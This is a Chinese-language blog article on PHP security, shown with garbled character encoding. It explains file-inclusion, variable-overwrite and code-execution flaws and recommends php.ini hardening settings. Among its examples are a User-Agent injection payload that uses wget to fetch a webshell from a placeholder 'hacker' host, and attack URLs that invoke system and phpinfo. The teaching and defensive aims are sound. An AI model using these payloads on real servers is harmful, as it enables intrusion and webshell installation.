PHP安全

??時(shí)至今日,PHP是一種非常流行的web開發(fā)語言,但PHP語言的安全問題也很多,而且PHP語言的安全問題有其自身語言的一些特點(diǎn)。

文件包含漏洞

??在互聯(lián)網(wǎng)的安全歷史中,PHP的文件包含漏洞已經(jīng)臭名昭著了,因?yàn)樵诟鞣N各樣的PHP應(yīng)用中挖出的文件包含漏洞數(shù)不勝數(shù),且后果都很嚴(yán)重。
??代碼注入攻擊的原理是注入一段用戶能控制的腳本或代碼,并讓服務(wù)器端執(zhí)行。代碼注入的典型代表就是文件包含(file inclusion)。文件包含可能會(huì)出現(xiàn)在JSP、PHP、ASP等語言中,常見的導(dǎo)致文件包含的函數(shù)如下:

PHP: include(),include_once(),require(),require_once(),fopen(),readfile(),...;
JSP/Servlet: ava.io.File(),java.io.FileReader(),...
ASP: include file(),include virthal(),...

??文件包含是PHP的一種常見用法:主要有四個(gè)函數(shù):

include()
require()
include_once()
require_once()

??當(dāng)用這四個(gè)函數(shù)包含一個(gè)新的文件時(shí),該文件將作為PHP代碼執(zhí)行,PHP內(nèi)核并不會(huì)在意該被包含的文件是什么類型。所以如果被包含的是txt文件、圖片文件、遠(yuǎn)程URL,也都將作為PHP代碼執(zhí)行。這一特性,在實(shí)施攻擊時(shí)將非常有作用。
??成功利用文件包含漏洞,需要滿足兩個(gè)條件:

  • 1.include()等函數(shù)通過動(dòng)態(tài)變量的方式引入需要包含的文件;
  • 2.用戶能夠控制該動(dòng)態(tài)變量。

本地文件包含

??能夠打開并包含本地文件的漏洞,被稱為貝本地件包含漏洞(local file inclusion,簡(jiǎn)稱LFI)
??關(guān)鍵詞:

  • 字符串截?cái)啵篜HP0字節(jié)(\x00作為字符串結(jié)束符;
  • 操作系統(tǒng)對(duì)目錄最大長(zhǎng)度限制,超過最大長(zhǎng)度之后的字符將被拋棄(Windows256字節(jié)、Linux4096字節(jié))
  • 目錄遍歷:諸如使用了../../../這樣的方式來返回到上層目錄中的方式,再利用時(shí)可以以編碼的方式繞過安全檢測(cè);
  • open_basedir:其作用是限制在某個(gè)特定目錄下PHP能打開的文件,需要注意的是open_basedir的值是目錄前綴,列:open_basedir=/home/app/aaa限制目錄為/home/app(Windows下多個(gè)目錄用分號(hào)隔開,Linux下用冒號(hào)隔開)。

遠(yuǎn)程文件包含

??如果PHP的配置選項(xiàng)allow_url_include為ON的話,則include/require函數(shù)是可以加載遠(yuǎn)程文件的,這種漏洞被稱為遠(yuǎn)程文件包含漏洞(remote file inclusion,簡(jiǎn)稱RFI)

本地文件包含的利用技巧

??

  • 包含用戶上傳的文件;
  • 包含data://或php://input等偽協(xié)議;
    偽協(xié)議如php://input、data://等需要服務(wù)器支持,同時(shí)要求allow_url_include設(shè)置為ON。
  • 包含Session文件;
    包含Session文件的條件需要攻擊者能控制部分session文件內(nèi)容。
  • 包含日志文件,比如web server的access log;
    包含日志文件是一種比較通用的技巧。因?yàn)榉?wù)器一般都會(huì)往web server的access_log里記錄客戶端的請(qǐng)求消息,在error_log中記錄出錯(cuò)的請(qǐng)求。因此攻擊者可以間接的將PHP代碼寫入到日志文件中,在文件包含時(shí),只需要包含日志文件即可。(日至文件每天更新,在凌晨時(shí)完成,能夠提高效率)
  • 包含/proc/self/environ文件
    包含/proc/self/environ是一種更為通用的方法,他不需要猜測(cè)被包含文件的路徑,同時(shí)用戶能控制他的內(nèi)容,可以看到web進(jìn)程運(yùn)行時(shí)的環(huán)境變量,其中很多都是用戶可控的,最常用的方法是在User_Agent中注入PHP代碼,比如:
<?php system('wget http://hacker/shells/php.txt -O shell.php');?>

??以上這些方法,都要求PHP能夠包含這些文件,而這些文件往往處于web目錄之外,如果PHP配置了open_basedir,則很可能使得攻擊無效。

  • 包含上傳的臨時(shí)文件(RFC1867)。
    但是PHP創(chuàng)建的上傳臨時(shí)文件,往往處于PHP允許訪問的目錄范圍內(nèi)。包含這個(gè)臨時(shí)文件的方法,其理論意義大于實(shí)際意義。
    PHP會(huì)為上傳文件創(chuàng)建臨時(shí)文件,其目錄在php.ini的upload_tmp_dir中定義。但該值默認(rèn)為空,此時(shí)在Linux系統(tǒng)下會(huì)使用/tmp目錄,在Windows下會(huì)使用C:\windows\tmp目錄。該臨時(shí)文件的文件名是隨機(jī)的,攻擊者必須準(zhǔn)確的猜測(cè)出該文件名才能成功利用漏洞。(可以暴力破解,Windows下僅有65535種不同的文件名)
  • 包含其他應(yīng)用創(chuàng)建的文件,比如數(shù)據(jù)庫文件、緩存文件、應(yīng)用日志等。

變量覆蓋漏洞

全局變量覆蓋

??變量如果未被初始化,且能被用戶所控制,那么很可能會(huì)導(dǎo)致安全問題,在PHP中,這種情況在register_globals為ON時(shí)尤為嚴(yán)重。register_globals為ON時(shí),變量來源可能是各個(gè)不同的方向,比如頁面的表單、cookie等,當(dāng)用戶能夠控制變量來源是,無論變量有沒有被初始化,都將造成一些安全隱患。

extract()變量覆蓋

??extract()函數(shù)能將變量從數(shù)組導(dǎo)入當(dāng)前的符號(hào)表,其函數(shù)定義如下:

int extract(array $var_array [, int $extract_type [, string $prefix]])

??其中第二個(gè)參數(shù)指定函數(shù)將變量導(dǎo)入符號(hào)表時(shí)的行為,最常見的兩個(gè)值是“EXTR_OVERWRITE”和“EXTR_SKIP”。當(dāng)值為“EXTR_OVERWRITE”時(shí),再將值導(dǎo)入符號(hào)表的過程中,如果變量名發(fā)生沖突,則覆蓋已有變量;當(dāng)值為“EXTR_SKIP”則表示跳不過覆蓋。若第二個(gè)參數(shù)未指定,則默認(rèn)為“EXTR_OVERWRITE”。
??一種較為安全的做法是確定register_globals=OFF后,在調(diào)用extract()時(shí)使用EXTR_SKIP保證已有變量不被覆蓋。(extract()的來源不能被用戶控制)
??在PHP中是由php.ini中的variables_order所定義的順序來獲取變量的。

遍歷初始化變量

??常見的一些以遍歷的方式釋放變量的代碼,可能會(huì)導(dǎo)致變量覆蓋。在代碼審計(jì)時(shí)需要注意類似“$$k”的變量賦值方式有可能覆蓋已有變量,從而導(dǎo)致一些不可控制的結(jié)果。

import_request_variables變量覆蓋

bool import_request_variables(string $type [, string $prefix])

import_request_variables()將GET、POST、Cookie中的變量導(dǎo)入到全局,使用這個(gè)函數(shù)只需要簡(jiǎn)單的指定類型即可。

parse_str()變量覆蓋

&emsp;&emsp;void parse_str(string $str [,array &$arr])

??parse_str()函數(shù)往往被用于解析URL的querystring,但是當(dāng)參數(shù)值能被用戶控制時(shí),很可能導(dǎo)致變量覆蓋。如果指定了parse_str()的第二個(gè)參數(shù),則會(huì)將query string中的變量解析后存入該數(shù)組變量中。因此在使用parse_str()時(shí),應(yīng)盡量指定第二個(gè)參數(shù)。與parse_str()相似的函數(shù)還有mb_parse_str()。
??安全建議:
1.確保register_globals=OFF。若不能定義php.ini,則在代碼中控制
2.熟悉可能造成變量覆蓋的函數(shù)和方法,檢查用戶是否能控制變量的來源。
3.盡可能的初始化變量。

代碼執(zhí)行漏洞

??PHP代碼執(zhí)行的兩個(gè)關(guān)鍵條件:

  • 第一是用戶能夠控制的函數(shù)輸入;
  • 第二是存在可以執(zhí)行代碼的危險(xiǎn)函數(shù)。

”危險(xiǎn)函數(shù)“執(zhí)行代碼

??文件包含漏洞是可以引起代碼執(zhí)行的。但在PHP中,能夠執(zhí)行代碼的方式遠(yuǎn)不止文件包含漏洞一種,比如危險(xiǎn)函數(shù)popen()、system()、passthru()、exec()等都可以執(zhí)行系統(tǒng)命令。此外,eval()函數(shù)也可執(zhí)行PHP代碼。還有一些比較特殊的情況,比如允許用戶上傳PHP代碼,或者是應(yīng)用寫入到服務(wù)器的文件內(nèi)容和文件類型可以由用戶控制,都可能導(dǎo)致代碼執(zhí)行。
挖掘漏洞的過程,通常需要先找到危險(xiǎn)函數(shù),然后回溯函數(shù)的調(diào)用過程,最終看在整個(gè)調(diào)用過程中用戶是否有可能控制輸入。

”文件寫入“執(zhí)行代碼

??在PHP中對(duì)文件的操作一定要謹(jǐn)慎,如果文件操作的內(nèi)容用戶可以控制,則也極容易成為漏洞。

其他執(zhí)行代碼方式

直接執(zhí)行代碼的函數(shù)

??PHP中有不少可以直接執(zhí)行代碼的函數(shù),比如:eval()、assert()、system()、exec()0、shell_exec()、passthru()、escapeshellcmd()、pcntl_exec()等。一般來說最好在PHP中禁用這些函數(shù),在審計(jì)代碼時(shí)則可以檢查代碼中是否存在這些函數(shù),然后回溯危險(xiǎn)函數(shù)的調(diào)用過程,看用戶是否可以控制輸入。

文件包含

??文件包含漏洞也是代碼注入的一種,需要高度關(guān)注能夠包含文件的函數(shù):include(),include_once(),require(),require_once()。

本地文件寫入

??常見的能夠往本地文件里寫入內(nèi)容的函數(shù)有file_put_contents(),fwrite(),fputs()等。寫入文件的功能可以和文件包含、危險(xiǎn)函數(shù)、執(zhí)行等漏洞結(jié)合,最終使得原本用戶無法控制的輸入變成可控。在代碼審計(jì)時(shí)要注意這種”組合類“漏洞。

preg_replace()代碼執(zhí)行

??preg_replace()的第一個(gè)參數(shù)如果存在/e模式修飾符,則允許代碼執(zhí)行。當(dāng)?shù)谝粋€(gè)參數(shù)中沒有沒有/e模式修飾符時(shí),也是有可能執(zhí)行代碼的,這要求在第一個(gè)參數(shù)中包含變量,并且用戶可控制,有可能通過注入/e%00的方式截?cái)辔谋?,注?e。

<?php
$var='<tag>phpinfo()</tag>';
preg_replace("/<tag>(.*?)<\/tag>/e",'addslashes(\\1)',$var);
?>

動(dòng)態(tài)函數(shù)執(zhí)行

??用戶自定義的動(dòng)態(tài)函數(shù)可以導(dǎo)致代碼執(zhí)行。需要注意如下情況:

<?php
$dyn_func = $_GET['dyn_func'];
$argument = $_GET['argument'];
$dyn_func($argument);
?>

??這種寫法近似于后門,將直接導(dǎo)致代碼執(zhí)行,比如:

http://www.example.com/index.php?dyn_func=system&argument=uname

Curly Syntax

??PHP的Curly Syntax也能導(dǎo)致代碼執(zhí)行,他將執(zhí)行花括號(hào)間的代碼,并將結(jié)果替換回去,如:

<?php
$var = "I Love You ${'ls'}";
?>

??ls命令將列出本地目錄的文件

回調(diào)函數(shù)執(zhí)行代碼

??很多函數(shù)都可以執(zhí)行回調(diào)函數(shù),當(dāng)回調(diào)函數(shù)用戶可控時(shí),將導(dǎo)致代碼執(zhí)行。

<?php
$evil_callback = $_GET['callback'];
$some_array = array(0,1,2,3);
$new_array = array_map($evil_callback,$some_array);
?>

攻擊payload如下:

http://www.example.com/index.php?callback=phpinfo

unserialize()導(dǎo)致代碼執(zhí)行

??unserialize()代碼執(zhí)行有兩個(gè)條件:

  • unserialize()的參數(shù)用戶可以控制,這樣可以構(gòu)造出需要反序列化的數(shù)據(jù)結(jié)構(gòu);
  • 存在_destruct()函數(shù)或者_(dá)wakeup()函數(shù)。這兩個(gè)函數(shù)實(shí)現(xiàn)的邏輯決定了能執(zhí)行什么樣的代碼。

定制安全的PHP環(huán)境

??推薦php.ini中一些安全參數(shù)的配置:

  • register_globals
    當(dāng)register_globals=ON時(shí),PHP不知道變量從何而來,也容易出現(xiàn)一些變量覆蓋的問題。因此從最佳實(shí)踐的角度,強(qiáng)烈建議設(shè)置register_globals=OFF,改設(shè)置在最新版本的PHP中默認(rèn)設(shè)置。
  • open_basedir
    open_basedir可以限制PHP只能操作指定目錄下的文件。這在對(duì)抗文件包含、目錄遍歷等攻擊時(shí)非常有用。
    open_basedir = /home/web/1/
    
  • allow_url_include
    為了對(duì)抗遠(yuǎn)程文件包含,關(guān)閉此選項(xiàng),一般PHP應(yīng)用不會(huì)用到此選項(xiàng),而且推薦關(guān)閉allow_url_fopen.
    allow_url_include = Off
    allow_url_fopen = Off
    
  • display_errors
    錯(cuò)誤回顯,它可以暴露出非常多的敏感信息,為攻擊者下一步攻擊提供便利。推薦關(guān)閉
    display_errors = Off
    
  • log_errors
    在正常環(huán)境下使用,把錯(cuò)誤信息記錄在日志里,正好可以關(guān)閉錯(cuò)誤回顯:
    log_errors = On
    
  • magic_quotes_gpc
    推薦關(guān)閉,他并不值得依賴,已知已經(jīng)有若干種方法可以繞過它,甚至由于他的存在反而衍生出了一些新的安全問題。XSS、SQL注入等漏洞,都應(yīng)該由應(yīng)用在正確的地方解決,同時(shí)關(guān)閉它還能提高性能。
    magic_quotes_gpc = Off
    
  • cgi.fix_pathinfo
    若PHP以CGI的方式安裝,則需要關(guān)閉此項(xiàng),以避免出現(xiàn)文件解析問題
    cgi.fix_pathinfo = 0
    
  • session.cookie_httponly
    開啟httponly
    session.cookie_httponly = 1
    
  • session.cookie_secure
    若是全站HTTPS則請(qǐng)開啟此項(xiàng)。
    session.cookie_secure = 1
    
  • safe_mode && disable_functions
    PHP的安全模式是否被開啟一直有爭(zhēng)議,因?yàn)樗梢员焕@過,disable_functions函數(shù)能夠在PHP中禁用一些函數(shù)。共享環(huán)境中(比如:APP Engine)則建議開啟safe_mode,并和disable_functions函數(shù)配合使用;單獨(dú)的應(yīng)用環(huán)境,則可以考慮關(guān)閉safe_mode,利用disable_functions控制運(yùn)行環(huán)境安全。

小結(jié)

??PHP是一門被廣泛使用的web開發(fā)預(yù)言,它的語法和使用方式非常的靈活,這也導(dǎo)致了PHP代碼安全評(píng)估的難度相對(duì)較高,PHP的安全問題相對(duì)較多。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 文件包含漏洞** 本地文件包含**能打開并包含本地文件的漏洞,被稱為本地文件包含漏洞(LFI)%00截?cái)啵琾hp內(nèi)...
    Yix1a閱讀 200評(píng)論 0 0
  • 摘要:本文所討論的安全性環(huán)境是在Linux+Apache+Mysql+PHP。超出此范圍的安全性問題不在本文范疇之...
    guanguans閱讀 407評(píng)論 3 3
  • 每個(gè)專業(yè)的 PHP 開發(fā)者都知道用戶上傳的文件都是極其危險(xiǎn)的。不論是后端和前端的黑客都可以利用它們搞事情。 大約在...
    summerbluet閱讀 1,750評(píng)論 1 12
  • 這段時(shí)間一直在寫一個(gè)整站,前幾天才基本完成了,所以抽個(gè)時(shí)間寫了一篇對(duì)于php安全的總結(jié)。技術(shù)含量不高,過不了也沒關(guān)...
    dreamer_lk閱讀 860評(píng)論 3 20
  • 文章轉(zhuǎn)自:https://learnku.com/php/t/24930 更多文章:https://learnku...
    summerbluet閱讀 410評(píng)論 1 12

友情鏈接更多精彩內(nèi)容